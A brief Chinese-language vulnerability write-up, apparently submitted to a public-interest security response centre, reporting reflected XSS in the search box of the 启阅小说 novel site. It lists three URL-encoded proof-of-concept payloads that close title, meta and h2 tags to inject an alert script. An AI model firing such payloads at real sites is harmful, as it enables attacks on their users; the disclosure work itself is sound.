启阅小说搜索框反射 XSS

前言

本次测试属于公益类型的 SRC

XSS

搜索框输入然后回车，可以看到这个已经回显到了网页上了

源代码中搜索可以看到七处回显点

Payload 有粗分为三种，一种是闭合 title 标签，一种是闭合 content 属性以及 meta 标签，最后一种是闭合 h2 标签

?searchkey=%3C/title%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
?searchkey=%3C/h2%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
?searchkey=%22/%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E